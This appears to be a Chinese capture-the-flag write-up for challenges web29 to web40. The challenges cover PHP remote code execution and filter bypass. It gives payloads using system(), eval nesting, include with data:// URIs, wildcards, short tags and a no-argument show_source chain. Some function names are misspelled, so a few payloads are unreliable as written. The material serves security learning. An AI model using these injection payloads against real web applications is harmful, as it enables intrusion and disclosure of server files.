web29
1.传入c参数来进行代码执行,payload: c=system("cat fla*.php"); 如图
2.浏览器默认不显示php的标签所以需要右键查看源代码
web30
题目过滤了命令执行函数system,还可以用passthur(),过滤的字符可以用?代替单个字符。
payload:
?c=passthur("cat fla?.p?p");
查看源代码
web31
过滤了"cat sort shell"以及,点,空格,单引号这些字符串
可通过嵌套eval函数来获取另一个参数的的方法来绕过
c=eval($_GET[a]);&a=system('cat flag.php');
web32、web33、web34、web35
- payload:
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
$_GET[1]
表示从 URL 查询字符串中获取第一个参数的值data:
是数据 URI 的开头,表示这是一个内嵌的数据资源。text/plain
指定了数据的 MIME 类型为纯文本。单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello World 就是传递纯文本 "Hello World"
web36
?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
和上题一样,但这次过滤了数字,将数字改为字母即可
web37
?c=data://text/plain,<?php system("tac fla*.php")?>
web38
在上面37题的基础上增加了过滤php关键词,所以在上一期的payload中,我们使用一个没有前提条件的进行绕过,构造 payload:
c=data://text/plain,<?=system('tac fl*.*');?>
<?= 是简化的 <?php echo ... ?>
web39
与上题一样,c=data://text/plain,<?=system('tac fl*.*');?>
看到include后面它自动给你添加了php
但是?>为php结束符号,后面拼接的.php会被忽略掉,不用管
web40
题目几乎把所有符号都过滤掉了,但是仔细一看这里过滤掉的括号是中文的括号:()
也就是说英文的括号其实是能用的:()
可以使用无参数的 payload:
show_source(next(array_reverse(scandir(geycwd()))));
getcwd() 函数返回当前工作目录
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个
show_source():查看源码
标签:web29,web,题解,过滤,text,plain,php,data,payload From: https://blog.csdn.net/2301_80217819/article/details/143218023